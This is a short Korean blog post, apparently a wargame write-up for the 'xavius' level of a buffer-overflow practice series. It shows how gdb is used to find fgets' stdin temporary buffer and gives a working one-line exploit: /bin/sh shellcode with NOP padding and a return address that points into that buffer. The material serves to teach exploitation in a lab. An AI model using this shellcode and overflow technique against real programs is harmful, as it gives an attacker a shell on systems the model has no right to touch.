참고1 : http://turtle1000.tistory.com/56
참고2 : http://blog.naver.com/rkwhr415/220141437295
fgets의 stdin은 임시 버퍼가 있다고 한다. 그 임시 버퍼에 쉘코드를 넣어서 리턴주소를 거기로 바꿔주면 된다.
임시 버퍼의 주소는 fgets함수를 호출하기 전의 push를 보면 있다고 한다.
원래의 소스로 xaviu1이라는 실행파일을 만든 후 gdb로 돌려보면.
mov 0x8048a3c %eax 후
push eax를 하는데, 여기서 eax가 임시버퍼가 들어있으며 0x8048a3c 내부에 임시버퍼가 있다.
b *main+26으로 fgets바로 다음에 브레이크포인트를 걸고 살펴보자. 실행후 aaaaaaaa를 입력하면 브레이크포인트에서 멈춰있는데, 여기서 살펴보면 된다.
입력한 aaaaaaaaa가 잘 들어가 있는게 보인다. 리턴주소를 저기로 덮어씌우고 공격하면 된다고한다.
(python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*19+"\x00\x50\x01\x40"';cat)|./xaviu1
처럼 하니 공격에 성공한다. 참고1의 블로그에서 리턴주소가 \x00이 아닌 곳을 선택하고 쉘코드도 17바이트짜리를 선택했는데 왜 그랬는지는 잘 모르겠다. 저 블로그에서 해당 영역에 실행 권한이 있는지 확인하는 방법도 알아두자.
'systemhacking > practice' 카테고리의 다른 글
io.smash the stack 1~5 (0) | 2015.02.12 |
---|---|
bof xavius->death_knight (0) | 2015.02.01 |
lob succubus->nightmare (0) | 2015.01.30 |
lob zombie_assassin->succubus (0) | 2015.01.29 |
lob assassin->zombie_assassin (fake ebp) (0) | 2015.01.28 |